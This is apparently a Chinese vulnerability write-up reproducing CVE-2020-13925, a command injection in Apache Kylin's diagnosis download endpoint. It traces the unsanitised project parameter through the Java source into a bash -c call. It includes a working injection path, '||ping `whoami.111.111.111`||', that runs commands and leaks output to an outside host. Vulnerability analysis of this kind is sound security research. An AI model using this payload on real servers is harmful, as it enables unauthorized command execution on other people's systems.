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Apache Kylin DiagnosisController.java 命令注入漏洞 CVE-2020-13925

漏洞描述

6月，京东安全的蓝军团队发现了一个 apache kylin 远程命令执行严重漏洞（ CVE-2020-13925）。黑客可以利用这个漏洞，登录任何管理员账号和密码默认未修改的账号，获得管理员权限。由于Apache Kylin被广泛应用于企业的大数据分析平台，因此该漏洞将对企业核心数据具有较大的危害，存在数据泄露风险，建议用户尽快升级软件至安全版本。

影响版本

Apache Kylin 2.3.0 ~ 2.3.2 Apache Kylin 2.4.0 ~ 2.4.1 Apache Kylin 2.5.0 ~ 2.5.2 Apache Kylin 2.6.0 ~ 2.6.5 Apache Kylin 3.0.0-alpha

环境搭建

docker pull apachekylin/apache-kylin-standalone:3.0.1

docker run -d \
-m 8G \
-p 7070:7070 \
-p 8088:8088 \
-p 50070:50070 \
-p 8032:8032 \
-p 8042:8042 \
-p 16010:16010 \
apachekylin/apache-kylin-standalone:3.0.1

打开后使用默认账号密码admin/KYLIN登录，出现初始界面即为成功

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漏洞复现

出现漏洞的代码文件在server-base/src/main/java/org/apache/kylin/rest/controller/DiagnosisController.java

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```java {4} /** * Get diagnosis information for project */ @RequestMapping(value = "/project/{project}/download", method = { RequestMethod.GET }, produces = { "application/json" }) @ResponseBody public void dumpProjectDiagnosisInfo(@PathVariable String project, final HttpServletRequest request, final HttpServletResponse response) { try (AutoDeleteDirectory diagDir = new AutoDeleteDirectory("diag_project", "")) { String filePath = dgService.dumpProjectDiagnosisInfo(project, diagDir.getFile()); setDownloadResponse(filePath, response); } catch (IOException e) { throw new InternalErrorException("Failed to dump project diagnosis info. " + e.getMessage(), e); }

}

这里可以看到` {project}`参数是用户可控的变量，向下跟进`dumpProjectDiagnosisInfo`函数java {1} public String dumpProjectDiagnosisInfo(String project, File exportPath) throws IOException { aclEvaluate.checkProjectOperationPermission(project); String[] args = { project, exportPath.getAbsolutePath() }; runDiagnosisCLI(args); return getDiagnosisPackageName(exportPath); } ```

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首先通过checkProjectOperationPermission函数来检查该project是否许可，然后构建一个args的字符串数组，看一下checkProjectOperationPermission函数

```java {2} public void checkProjectOperationPermission(String projectName) { ProjectInstance projectInstance = getProjectInstance(projectName); aclUtil.hasProjectOperationPermission(projectInstance); } 

这里传入`projectName`，然后通过`getProjectInstance`来获取项目实例,跟进`getProjectInstance`

```java {1}
private ProjectInstance getProjectInstance(String projectName) {
        return ProjectManager.getInstance(KylinConfig.getInstanceFromEnv()).getProject(projectName);
    }

因为 projectName 会被我们替换掉，所以不会获得一个正确的projectName,则会返回一个Null，查看下hasProjectOperationPermission函数

```java {5} @PreAuthorize(Constant.ACCESS_HAS_ROLE_ADMIN + " or hasPermission(#project, 'ADMINISTRATION')" + " or hasPermission(#project, 'MANAGEMENT')" + " or hasPermission(#project, 'OPERATION')") public boolean hasProjectOperationPermission(ProjectInstance project) { return true; } 

这里并没有对`projectName`进行检验，只对用户身份进行了检验，当为`ADMIN、ADMINISTRATION、MANAGEMENT、OPERATION`等权限，该值默认返回为`true`，回到` dumpProjectDiagnosisInfo`函数，向下继续跟进`runDiagnosisCLI`函数

![img](/assets/PeiQi-Wiki/img/kylin-20.png)

```java {14-16}
private void runDiagnosisCLI(String[] args) throws IOException {
        Message msg = MsgPicker.getMsg();

        File cwd = new File("");
        logger.debug("Current path: " + cwd.getAbsolutePath());

        logger.debug("DiagnosisInfoCLI args: " + Arrays.toString(args));
        File script = new File(KylinConfig.getKylinHome() + File.separator + "bin", "diag.sh");
        if (!script.exists()) {
            throw new BadRequestException(
                    String.format(Locale.ROOT, msg.getDIAG_NOT_FOUND(), script.getAbsolutePath()));
        }

        String diagCmd = script.getAbsolutePath() + " " + StringUtils.join(args, " ");
        CliCommandExecutor executor = KylinConfig.getInstanceFromEnv().getCliCommandExecutor();
        Pair<Integer, String> cmdOutput = executor.execute(diagCmd);

        if (cmdOutput.getFirst() != 0) {
            throw new BadRequestException(msg.getGENERATE_DIAG_PACKAGE_FAIL());
        }
    }

注意看这几行代码

```java {3} String diagCmd = script.getAbsolutePath() + " " + StringUtils.join(args, " "); CliCommandExecutor executor = KylinConfig.getInstanceFromEnv().getCliCommandExecutor(); Pair cmdOutput = executor.execute(diagCmd); 

与 Apache Kylin 命令注入漏洞` CVE-2020-1956 `类似，同样也是经过`execute函数`，而`digCmd`同样也是经过了命令拼接

```java {29-31}
private Pair<Integer, String> runRemoteCommand(String command, Logger logAppender) throws IOException {
        SSHClient ssh = new SSHClient(remoteHost, port, remoteUser, remotePwd);

        SSHClientOutput sshOutput;
        try {
            sshOutput = ssh.execCommand(command, remoteTimeoutSeconds, logAppender);
            int exitCode = sshOutput.getExitCode();
            String output = sshOutput.getText();
            return Pair.newPair(exitCode, output);
        } catch (IOException e) {
            throw e;
        } catch (Exception e) {
            throw new IOException(e.getMessage(), e);
        }
    }

    private Pair<Integer, String> runNativeCommand(String command, Logger logAppender) throws IOException {
        String[] cmd = new String[3];
        String osName = System.getProperty("os.name");
        if (osName.startsWith("Windows")) {
            cmd[0] = "cmd.exe";
            cmd[1] = "/C";
        } else {
            cmd[0] = "/bin/bash";
            cmd[1] = "-c";
        }
        cmd[2] = command;

        ProcessBuilder builder = new ProcessBuilder(cmd);
        builder.redirectErrorStream(true);
        Process proc = builder.start();

        BufferedReader reader = new BufferedReader(
                new InputStreamReader(proc.getInputStream(), StandardCharsets.UTF_8));
        String line;
        StringBuilder result = new StringBuilder();
        while ((line = reader.readLine()) != null && !Thread.currentThread().isInterrupted()) {
            result.append(line).append('\n');
            if (logAppender != null) {
                logAppender.log(line);
            }
        }

        if (Thread.interrupted()) {
            logger.info("CliCommandExecutor is interruppted by other, kill the sub process: " + command);
            proc.destroy();
            try {
                Thread.sleep(1000);
            } catch (InterruptedException e) {
                // do nothing
            }
            return Pair.newPair(1, "Killed");
        }

        try {
            int exitCode = proc.waitFor();
            return Pair.newPair(exitCode, result.toString());
        } catch (InterruptedException e) {
            Thread.currentThread().interrupt();
            throw new IOException(e);
        }
    }

}

这样我们就可以通过控制{project} 请求就可以造成命令注入

/kylin/api/diag/project/{project}/download
/kylin/api/diag/project/||ping `whoami.111.111.111`||/download

拼接后则出现

/home/admin/apache-kylin-3.0.1-bin-hbase1x/bin/diag.sh {project} {diagDir}

这里通过报错语句可以回显命令验证漏洞存在

throw new InternalErrorException("Failed to dump project diagnosis info. " + e.getMessage(), e);

img

在修复中，过滤了||,&&等符号，造成无法命令注入

img

漏洞通报中共两个利用点

/kylin/api/diag/project/{project}/download  
/kylin/api/diag/job/{jobId}/download

查看函数发现利用方式相同，直接利用job会失败，因为 {project}默认有一个learn_kylin，而job没有

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